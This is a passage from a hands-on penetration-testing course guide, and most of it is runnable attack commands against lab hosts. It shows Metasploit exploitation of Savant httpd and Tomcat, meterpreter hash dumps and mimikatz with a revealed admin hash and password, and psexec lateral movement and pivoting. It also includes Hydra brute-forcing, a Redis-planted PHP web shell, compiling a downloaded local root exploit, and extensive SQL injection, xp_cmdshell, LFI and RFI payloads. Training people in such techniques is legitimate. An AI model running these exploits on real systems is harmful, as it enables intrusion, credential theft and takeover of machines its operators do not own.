  1073. 7 <your IP> (set attacker host ip)
  1074.  
  1075.  
  1076. x (back to main menu)
  1077.  
  1078. 2 (DB access attack option)
  1079.  
  1080.  
  1081. 1 (Get server info)
  1082.  
  1083.  
  1084. 2 (Enumerate Databases/Collections/Users)
  1085.  
  1086.  
  1087. 3 (Check for GridFS)
  1088. GridFS is a specification for storing and retrieving files that exceed the BSON-document size limit of 16MB. Instead of storing a file in a single document, GridFS divides a file into parts, or chunks [1], and stores each chunk as a separate document
  1089.  
  1090.  
  1091.  
  1092.  
  1093.  
  1094. Other attack options such as clone a database will require you to have a local copy of MongoDB installed, and the Metasploit attack is for too old of a version ( < 2.2.4 ).
  1095.  
  1096.  
  1097.  
  1098.  
  1099.  
  1100.  
  1101. ####################################
  1102. # Finally, let's exploit something #
  1103. ####################################
  1104.  
  1105. nmap -Pn -sV -T 5 -oG - -p 80,8080 10.0.0.* | awk '/open/{print $2}'
  1106.  
  1107. nmap -Pn -sV -T 5 -p 80,8080 10.0.0.15
  1108.  
  1109. https://www.exploit-db.com/search
  1110.  
  1111. Search for:
  1112. Savant httpd 3.1
  1113. Apache httpd 2.0.58 ((Win32))
  1114.  
  1115.  
  1116. Found one written in Python:
  1117. https://www.exploit-db.com/exploits/18401/
  1118.  
  1119. Found one for Savant 3.1 from Metasploit:
  1120. https://www.exploit-db.com/exploits/16770/
  1121.  
  1122.  
  1123.  
  1124. cd ~/toolz/metasploit
  1125. ./msfconsole
  1126. use exploit/windows/http/savant_31_overflow
  1127. set RHOST 10.0.0.15
  1128. set PAYLOAD windows/meterpreter/bind_nonx_tcp
  1129. set RPORT 80
  1130. set LPORT 7777
  1131. exploit
  1132.  
  1133.  
  1134.  
  1135.  
  1136.  
  1137.  
  1138. ********************************** Figure out who and where you are **********************************
  1139.  
  1140. meterpreter> sysinfo
  1141.  
  1142.  
  1143. meterpreter> getuid
  1144.  
  1145.  
  1146. meterpreter> ipconfig
  1147.  
  1148.  
  1149. meterpreter> run post/windows/gather/checkvm
  1150.  
  1151.  
  1152. meterpreter> run get_local_subnets
  1153.  
  1154.  
  1155.  
  1156. ********************************** Escalate privileges and get hashes **********************************
  1157.  
  1158.  
  1159. meterpreter> use priv
  1160.  
  1161.  
  1162.  
  1163. meterpreter > getsystem
  1164. ...got system (via technique 1).
  1165.  
  1166. meterpreter > getuid
  1167. Server username: NT AUTHORITY\SYSTEM
  1168.  
  1169. --------------------------------------------------------
  1170.  
  1171. meterpreter> run killav
  1172.  
  1173. meterpreter> run post/windows/gather/hashdump
  1174.  
  1175. Got the following admin hash:
  1176. Administrator:500:6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363:::
  1177.  
  1178. meterpreter> run post/windows/gather/credentials/credential_collector
  1179.  
  1180. meterpreter > load mimikatz
  1181.  
  1182. meterpreter > kerberos
  1183.  
  1184. This should give me the administrative password:
  1185. )K5?Jocb(Yx
  1186.  
  1187.  
  1188. ********************************** Enumerate the host you are on **********************************
  1189.  
  1190. meterpreter> run winenum
  1191.  
  1192. meterpreter > run post/windows/gather/enum_applications
  1193.  
  1194. meterpreter > run post/windows/gather/enum_logged_on_users
  1195.  
  1196. meterpreter > run post/windows/gather/usb_history
  1197.  
  1198. meterpreter > run post/windows/gather/enum_shares
  1199.  
  1200. meterpreter > run post/windows/gather/enum_snmp
  1201.  
  1202. meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
  1203.  
  1204.  
  1205. ********************************** Get out of Meterpreter **********************************
  1206.  
  1207. meterpreter> background
  1208.  
  1209. msf exploit(savant_31_overflow) > back
  1210.  
  1211. msf>
  1212.  
  1213.  
  1214.  
  1215.  
  1216. ********************************** Lateral Movement *******************************
  1217.  
  1218.  
  1219. Now we can run the PSEXEC exploit.
  1220.  
  1221. -- Option 1:
  1222. use exploit/windows/smb/psexec
  1223.  
  1224. set SMBUser Administrator
  1225.  
  1226. set SMBPass )K5?Jocb(Yx
  1227.  
  1228. set RHOST 10.0.0.15
  1229.  
  1230. set payload windows/meterpreter/bind_tcp
  1231.  
  1232. set LPORT 2345
  1233.  
  1234. exploit
  1235.  
  1236. ********************************** Get out of Meterpreter **********************************
  1237.  
  1238. meterpreter> background
  1239.  
  1240. msf exploit(psexec) >back
  1241.  
  1242. msf>
  1243.  
  1244. **********************************
  1245.  
  1246. -- Option 2:
  1247. use exploit/windows/smb/psexec
  1248.  
  1249. set SMBUser Administrator
  1250.  
  1251. set SMBPass 6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363
  1252.  
  1253. set payload windows/meterpreter/bind_tcp
  1254.  
  1255. set RHOST 10.0.0.15
  1256.  
  1257. set LPORT 5678
  1258.  
  1259. exploit
  1260.  
  1261.  
  1262.  
  1263. ********************************** Set up your Pivot **********************************
  1264.  
  1265. meterpreter > background
  1266. <-- background the session
  1267. You want to get back to this prompt:
  1268. msf exploit(handler) > back <--- you need to get to main msf> prompt
  1269.  
  1270.  
  1271.  
  1272. sessions -l <--find a session you want to pivot through (note the IP and session number)
  1273.  
  1274. Now set up Pivot with a route add
  1275. ---------------------------------
  1276.  
  1277. route print <--- should be blank
  1278.  
  1279. route add 10.0.0.15 255.255.255.0 1 <-- Use correct session id (2), it may be 3, or 4 (make sure you are on msf> prommpt, not meterpreter)
  1280.  
  1281.  
  1282. route print <----- verify new route
  1283.  
  1284. ******************************Scan through your Pivot ******************************
  1285.  
  1286. use auxiliary/scanner/portscan/tcp <-- Run aux modules through your pivot
  1287.  
  1288. set THREADS 10
  1289.  
  1290. set RHOSTS 10.0.0.0/24 <-- Keep changing this IP and re-running the scan until you find something you want to attack
  1291.  
  1292. set PORTS 445
  1293.  
  1294. run
  1295.  
  1296.  
  1297. ####################################
  1298. # Socks Tunneling with Proxychains #
  1299. ####################################
  1300. --- Open a duplicate putty session to your Ubuntu host
  1301.  
  1302. sudo apt install -y proxychains
  1303. infosecaddicts
  1304.  
  1305. sudo vi /etc/proxychains.conf <--- Make sure that last line of the file is: socks4 127.0.0.1 1080
  1306. infosecaddicts
  1307.  
  1308. Comment out the proxy_dns, change the 9050 (tor port) to the metasploit socks proxy port (1080) and save it.
  1309. socks4 127.0.0.1 1080
  1310.  
  1311. ***************************Set up a Socks Proxy through your Pivot *************************
  1312.  
  1313.  
  1314. use auxiliary/server/socks4a
  1315.  
  1316. set SRVHOST 127.0.0.1
  1317.  
  1318. set SRVPORT 1080
  1319.  
  1320. run
  1321.  
  1322. --- Go back to your other putty session with the meterpreter shell
  1323. cd ~
  1324.  
  1325. proxychains nmap -sT -PN -vv -sV --script=smb-os-discovery.nse -p 445 10.0.0.0/24 <--- This is going to be really slow
  1326.  
  1327. proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,1433,1521,3306,3389,8080,10000 10.0.0/24 <--- This is going to be really slow
  1328.  
  1329.  
  1330. ---close the duplicate putty session to your Ubuntu host
  1331.  
  1332.  
  1333.  
  1334.  
  1335.  
  1336. *************************** Day 3 Challenge *******************************
  1337.  
  1338. ******** Attacking Kevgir ********
  1339. I figured I've give you something fun to play with.
  1340.  
  1341. sudo nmap -sV -Pn 10.0.0.120
  1342. infosecaddicts
  1343.  
  1344.  
  1345.  
  1346. ##############################
  1347. # Using Nikto against Kevgir #
  1348. ##############################
  1349. cd ~/toolz/nikto-2.1.1
  1350.  
  1351. perl nikto.pl -update
  1352.  
  1353. perl nikto.pl -h 10.0.0.120
  1354.  
  1355. perl nikto.pl -h 10.0.0.120:8080
  1356.  
  1357. perl nikto.pl -h 10.0.0.120:8081
  1358.  
  1359. perl nikto.pl -h 10.0.0.120:9000
  1360.  
  1361.  
  1362.  
  1363.  
  1364. ####################
  1365. # Using Metasploit #
  1366. ####################
  1367. cd ~/toolz/metasploit
  1368.  
  1369. ./msfconsole
  1370.  
  1371. use auxiliary/scanner/http/http_version
  1372.  
  1373. set RHOSTS 10.0.0.120
  1374.  
  1375. set RPORT 8080
  1376.  
  1377. run
  1378.  
  1379.  
  1380. -------------------------------
  1381.  
  1382. use auxiliary/scanner/http/tomcat_enum
  1383.  
  1384. set RHOSTS 10.0.0.120
  1385.  
  1386. set RPORT 8080
  1387.  
  1388. run
  1389.  
  1390.  
  1391.  
  1392.  
  1393.  
  1394. ####################
  1395. # Attacking Tomcat #
  1396. ####################
  1397. cd ~/toolz/metasploit
  1398.  
  1399. ./msfconsole
  1400.  
  1401. use auxiliary/scanner/http/http_version
  1402.  
  1403. set RHOSTS 10.0.0.120
  1404.  
  1405. set RPORT 8080
  1406.  
  1407. run
  1408.  
  1409.  
  1410.  
  1411.  
  1412.  
  1413. use auxiliary/scanner/http/tomcat_mgr_login
  1414.  
  1415. set USERNAME tomcat
  1416.  
  1417. set USERPASS_FILE /home/infosecaddicts/list.txt
  1418.  
  1419. set STOP_ON_SUCCESS true
  1420.  
  1421. set RHOSTS 10.0.0.120
  1422.  
  1423. set RPORT 8080
  1424.  
  1425. run
  1426.  
  1427.  
  1428.  
  1429.  
  1430. use exploit/multi/http/tomcat_mgr_upload
  1431.  
  1432. set USERNAME tomcat
  1433.  
  1434. set PASSWORD tomcat
  1435.  
  1436. set RHOST 10.0.0.120
  1437.  
  1438. set RPORT 8080
  1439.  
  1440. set PATH /manager/html
  1441.  
  1442. set PAYLOAD java/meterpreter/bind_tcp
  1443.  
  1444. exploit
  1445.  
  1446.  
  1447. run post/linux/gather/checkvm
  1448.  
  1449. run post/linux/gather/enum_configs
  1450.  
  1451. run post/linux/gather/enum_protections
  1452.  
  1453. run post/linux/gather/enum_system
  1454.  
  1455. run post/linux/gather/enum_users_history
  1456.  
  1457. run post/linux/gather/hashdump
  1458.  
  1459. shell
  1460.  
  1461. /bin/bash
  1462.  
  1463. id
  1464.  
  1465. uname -a
  1466.  
  1467. dpkg -l
  1468.  
  1469. cd /tmp
  1470.  
  1471. pwd
  1472.  
  1473.  
  1474. cat >> exploit.c << out
  1475.  
  1476. **************paste in the content from here *****************
  1477. https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/39166.c
  1478.  
  1479.  
  1480. ------ hit enter a few times ------
  1481.  
  1482. ------ then type 'out' ----- this closes the file handle...
  1483.  
  1484.  
  1485. gcc -o boom exploit.c
  1486.  
  1487. ./boom
  1488.  
  1489. id
  1490.  
  1491.  
  1492. -------------------------------
  1493.  
  1494.  
  1495. hydra -l tomcat -P /home/infosecaddicts/list.txt -e ns -s 8080 -vV 10.0.0.140 http-get /manager/html
  1496.  
  1497.  
  1498.  
  1499.  
  1500.  
  1501. #################
  1502. # Attacking FTP #
  1503. #################
  1504.  
  1505. sudo nmap -sV -Pn -p25 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.120
  1506. infosecaddicts
  1507.  
  1508. cd ~/toolz/hydra
  1509.  
  1510. hydra -l admin -P /home/infosecaddicts/list.txt -u -s 25 10.0.0.120 ftp
  1511.  
  1512. ftp
  1513. open 10.0.0.120
  1514. admin
  1515. admin
  1516. pwd
  1517. ls -lah
  1518.  
  1519. ls ../../
  1520.  
  1521.  
  1522. #################
  1523. # Attacking SSH #
  1524. #################
  1525. cd ~/toolz/hydra
  1526.  
  1527. hydra -L /home/infosecaddicts/list.txt -P /home/infosecaddicts/list.txt -u -s 1322 10.0.0.120 ssh
  1528.  
  1529. ssh -p 1322 admin@10.0.0.120
  1530.  
  1531.  
  1532.  
  1533.  
  1534. cd ~/toolz/metasploit
  1535.  
  1536. ./msfconsole
  1537.  
  1538. use auxiliary/scanner/ssh/ssh_users
  1539.  
  1540. set USER_FILE /home/infosecaddicts/list.txt
  1541.  
  1542. set STOP_ON_SUCCESS true
  1543.  
  1544. set RHOSTS 10.0.0.120
  1545.  
  1546. set RPORT 1322
  1547.  
  1548. run
  1549.  
  1550.  
  1551.  
  1552.  
  1553.  
  1554. use auxiliary/scanner/ssh/ssh_login
  1555.  
  1556. set USER_FILE /home/infosecaddicts/list.txt
  1557.  
  1558. set PASS_FILE /home/infosecaddicts/list.txt
  1559.  
  1560. set STOP_ON_SUCCESS true
  1561.  
  1562. set RHOSTS 10.0.0.120
  1563.  
  1564. set RPORT 1322
  1565.  
  1566. run
  1567.  
  1568.  
  1569. sessions -l
  1570.  
  1571. sessions -u 1
  1572.  
  1573. sessions -i 1
  1574.  
  1575. id
  1576.  
  1577.  
  1578.  
  1579.  
  1580. #################
  1581. # Attacking NFS #
  1582. #################
  1583. rpcinfo -s 10.0.0.120
  1584.  
  1585. showmount -e 10.0.0.120
  1586.  
  1587. mount -t nfs 10.0.0.120:/backup /tmp/nfs -o nolock
  1588.  
  1589. ls /tmp/nfs
  1590.  
  1591. cp /tmp/nfs/backup.tar.bz2.zip /home/infosecaddicts
  1592. umount -l /tmp/nfs
  1593.  
  1594. sudo apt-cache search fcrackzip
  1595. infosecaddicts
  1596.  
  1597. sudo apt install -y fcrackzip
  1598. infosecaddicts
  1599.  
  1600. fcrackzip -D -p /home/infosecaddicts/list.txt
  1601.  
  1602. unzip -P aaaaaa backup.tar.bz2.zip
  1603.  
  1604. tar -zxvf backup.tar.bz2
  1605.  
  1606.  
  1607. ###################
  1608. # Attacking Redis #
  1609. ###################
  1610. sudo nmap -p 6379 --script=redis-info 10.0.0.120
  1611. infosecaddicts
  1612.  
  1613. sudo apt install -y redis-tools
  1614. infosecaddicts
  1615.  
  1616. redis-cli -h 10.0.0.120
  1617.  
  1618. CONFIG SET dir /var/www/html/main
  1619.  
  1620. CONFIG GET dir
  1621.  
  1622. config set dbfilename bomba.php
  1623.  
  1624. CONFIG GET dbfilename
  1625.  
  1626. SET cmd "<?php system($_GET['joe']); ?>"
  1627.  
  1628. BGSAVE
  1629.  
  1630. http://10.0.0.120/bomba.php
  1631.  
  1632. http://10.0.0.120/bomba.php?joe=id
  1633.  
  1634.  
  1635. (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt/.ssh"
  1636.  
  1637.  
  1638.  
  1639.  
  1640.  
  1641. ##########
  1642. # Day 4: #
  1643. ##########
  1644.  
  1645.  
  1646. http://10.0.0.9/login.aspx
  1647.  
  1648. I entered a single quote (') for both the user name and the password. I got the following error:
  1649.  
  1650. -----------------------------------------------------------------
  1651. 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  1652. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  1653.  
  1654. Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  1655.  
  1656. Source Error:
  1657.  
  1658.  
  1659. Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  1660. Line 113: string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
  1661. Line 114: XmlNodeList xmln = doc.SelectNodes(credential);
  1662. Line 115: //String test = xmln.ToString();
  1663. Line 116: if (xmln.Count > 0)
  1664.  
  1665. -----------------------------------------------------------------
  1666.  
  1667.  
  1668. Hmm....System.Xml.XPath.XPathException.....that's not SQL.
  1669.  
  1670. WTF is this:
  1671. Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  1672.  
  1673.  
  1674. Let's check it out:
  1675. http://10.0.0.9/AuthInfo.xml
  1676.  
  1677. Looks like we found passwords!!!!!!!!!!
  1678.  
  1679.  
  1680. Looks like there no significant new functionality after logging in with the stolen credentials.
  1681.  
  1682. Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
  1683.  
  1684.  
  1685. http://10.0.0.9/bookdetail.aspx?id=2
  1686.  
  1687.  
  1688. Ok, there is parameter passing (bookdetail.aspx?id=2).
  1689.  
  1690. The page name is: bookdetail.aspx
  1691. The parameter name is: id
  1692. The paramber value is: 2
  1693.  
  1694.  
  1695. Let's try throwing a single quote (') in there:
  1696.  
  1697. http://10.0.0.9/bookdetail.aspx?id=2'
  1698.  
  1699.  
  1700. I get the following error:
  1701.  
  1702. Unclosed quotation mark after the character string ''.
  1703. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  1704.  
  1705. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  1706.  
  1707.  
  1708.  
  1709. #############################################################################
  1710. # SQL Injection #
  1711. # https://s3.amazonaws.com/infosecaddicts-Files/1-Intro_To_SQL_Intection.pptx #
  1712. #############################################################################
  1713.  
  1714.  
  1715. - Another quick way to test for SQLI is to remove the paramter value
  1716.  
  1717.  
  1718. #############################
  1719. # Error-Based SQL Injection #
  1720. #############################
  1721. http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  1722. http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  1723. http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  1724. http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  1725. http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  1726. http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--
  1727. **** NOTE: "N" - just means to keep going until you run out of databases ****
  1728.  
  1729. http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  1730. http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  1731. http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  1732.  
  1733.  
  1734.  
  1735.  
  1736. #############################
  1737. # Union-Based SQL Injection #
  1738. #############################
  1739. http://10.0.0.9/bookdetail.aspx?id=2 order by 100--
  1740. http://10.0.0.9/bookdetail.aspx?id=2 order by 50--
  1741. http://10.0.0.9/bookdetail.aspx?id=2 order by 25--
  1742. http://10.0.0.9/bookdetail.aspx?id=2 order by 10--
  1743. http://10.0.0.9/bookdetail.aspx?id=2 order by 5--
  1744. http://10.0.0.9/bookdetail.aspx?id=2 order by 6--
  1745. http://10.0.0.9/bookdetail.aspx?id=2 order by 7--
  1746. http://10.0.0.9/bookdetail.aspx?id=2 order by 8--
  1747. http://10.0.0.9/bookdetail.aspx?id=2 order by 9--
  1748. http://10.0.0.9/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  1749.  
  1750. We are using a union select statement because we are joining the developer's query with one of our own.
  1751. Reference:
  1752. http://www.techonthenet.com/sql/union.php
  1753. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  1754. It removes duplicate rows between the various SELECT statements.
  1755.  
  1756. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  1757.  
  1758. http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  1759.  
  1760. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  1761.  
  1762. http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  1763. http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  1764. http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  1765. http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  1766.  
  1767.  
  1768.  
  1769.  
  1770.  
  1771. - Another way is to see if you can get the backend to perform an arithmetic function
  1772. http://10.0.0.9/bookdetail.aspx?id=(2)
  1773. http://10.0.0.9/bookdetail.aspx?id=(4-2)
  1774. http://10.0.0.9/bookdetail.aspx?id=(4-1)
  1775.  
  1776.  
  1777.  
  1778. http://10.0.0.9/bookdetail.aspx?id=2 or 1=1--
  1779. http://10.0.0.9/bookdetail.aspx?id=2 or 1=2--
  1780. http://10.0.0.9/bookdetail.aspx?id=1*1
  1781. http://10.0.0.9/bookdetail.aspx?id=2 or 1 >-1#
  1782. http://10.0.0.9/bookdetail.aspx?id=2 or 1<99#
  1783. http://10.0.0.9/bookdetail.aspx?id=2 or 1<>1#
  1784. http://10.0.0.9/bookdetail.aspx?id=2 or 2 != 3--
  1785. http://10.0.0.9/bookdetail.aspx?id=2 &0#
  1786.  
  1787.  
  1788.  
  1789.  
  1790.  
  1791. ###############################
  1792. # Blind SQL Injection Testing #
  1793. ###############################
  1794. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  1795.  
  1796. 3 - Total Characters
  1797. http://10.0.0.9/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  1798. http://10.0.0.9/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  1799. http://10.0.0.9/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  1800.  
  1801. Let's go for a quick check to see if it's DBO
  1802. http://10.0.0.9/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  1803.  
  1804. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  1805.  
  1806. D - 1st Character
  1807. http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  1808. http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  1809. http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  1810. http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  1811.  
  1812. B - 2nd Character
  1813. http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1814. http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1815.  
  1816. O - 3rd Character
  1817. http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1818. http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  1819. http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1820. http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1821. http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  1822. http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  1823. http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1824.  
  1825.  
  1826.  
  1827. ##########
  1828. # Sqlmap #
  1829. ##########
  1830. If you want to see how we automate all of the SQL Injection attacks you can log into your infosecaddicts-Ubuntu-VM and run the following commands:
  1831.  
  1832. cd /home/infosecaddicts/toolz/sqlmap-dev/
  1833. python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -b
  1834. python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --current-user
  1835. python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --current-db
  1836. python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --dbs
  1837. python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp --tables
  1838. python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
  1839. python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
  1840. python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
  1841. python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
  1842. python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --users --passwords
  1843.  
  1844.  
  1845.  
  1846.  
  1847.  
  1848.  
  1849. Ok, now let's have some real fun!
  1850.  
  1851. Go to the address below in firefox:
  1852. http://10.0.0.9/bookdetail.aspx?id=2;exec+master..xp_cmdshell+'ping -n 8 127.0.0.1'--
  1853.  
  1854.  
  1855.  
  1856. #######################
  1857. # Attacking PHP/MySQL #
  1858. #######################
  1859.  
  1860. Go to LAMP Target homepage
  1861. http://54.172.112.249/
  1862.  
  1863.  
  1864.  
  1865. Clicking on the Acer Link:
  1866. http://54.172.112.249/acre2.php?lap=acer
  1867.  
  1868. - Found parameter passing (answer yes to question 1)
  1869. - Insert ' to test for SQLI
  1870.  
  1871. http://54.172.112.249/acre2.php?lap=acer'
  1872.  
  1873.  
  1874. Page returns the following error:
  1875. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
  1876.  
  1877.  
  1878.  
  1879. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  1880. We do this using the ORDER BY
  1881. http://54.172.112.249/acre2.php?lap=acer' order by 100-- +
  1882.  
  1883. Page returns the following error:
  1884. Unknown column '100' in 'order clause'
  1885.  
  1886.  
  1887.  
  1888. http://54.172.112.249/acre2.php?lap=acer' order by 50-- +
  1889.  
  1890. Page returns the following error:
  1891. Unknown column '50' in 'order clause'
  1892.  
  1893.  
  1894.  
  1895. http://54.172.112.249/acre2.php?lap=acer' order by 25-- +
  1896. Page returns the following error:
  1897. Unknown column '25' in 'order clause'
  1898.  
  1899.  
  1900.  
  1901. http://54.172.112.249/acre2.php?lap=acer' order by 12-- +
  1902.  
  1903. Page returns the following error:
  1904. Unknown column '50' in 'order clause'
  1905.  
  1906.  
  1907.  
  1908. http://54.172.112.249/acre2.php?lap=acer' order by 6-- +
  1909. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  1910.  
  1911.  
  1912.  
  1913. Now we build out the union all select statement with the correct number of columns
  1914.  
  1915. Reference:
  1916. http://www.techonthenet.com/sql/union.php
  1917.  
  1918.  
  1919.  
  1920. http://54.172.112.249/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  1921.  
  1922.  
  1923.  
  1924. Now we negate the parameter value 'acer' by turning into the word 'null':
  1925. http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  1926.  
  1927. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  1928.  
  1929.  
  1930. Use a cheat sheet for syntax:
  1931. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  1932.  
  1933.  
  1934. http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  1935.  
  1936. http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  1937.  
  1938. http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  1939.  
  1940. http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  1941.  
  1942.  
  1943. http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  1944.  
  1945.  
  1946.  
  1947.  
  1948. Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
  1949. http://54.172.112.249/showfile.php?filename=about.txt
  1950.  
  1951.  
  1952.  
  1953. See if you can read files on the file system:
  1954. http://54.172.112.249/showfile.php?filename=/etc/passwd
  1955.  
  1956. We call this attack a Local File Include or LFI.
  1957.  
  1958. Now let's find some text out on the internet somewhere:
  1959. http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  1960.  
  1961.  
  1962. Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
  1963. http://54.172.112.249/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  1964.  
  1965.  
  1966. -----------------Some Automated Testing from the infosecaddicts VM-----------------
  1967.  
  1968. ##################################################
  1969. # You can download the virtual machine from here #
  1970. ##################################################
  1971. https://s3.amazonaws.com/infosecaddicts-VMs/infosecaddictsUbuntu-v3.zip
  1972. user: infosecaddicts
  1973. pass: infosecaddicts
  1974.  
  1975.  
  1976.  
  1977. cd /home/infosecaddicts/toolz/sqlmap-dev/
  1978.  
  1979. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" -b -v 3
  1980.  
  1981.  
  1982. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-user -v 3
  1983.  
  1984.  
  1985. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-db -v 3
  1986.  
  1987.  
  1988. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --privileges -v 3
  1989.  
  1990.  
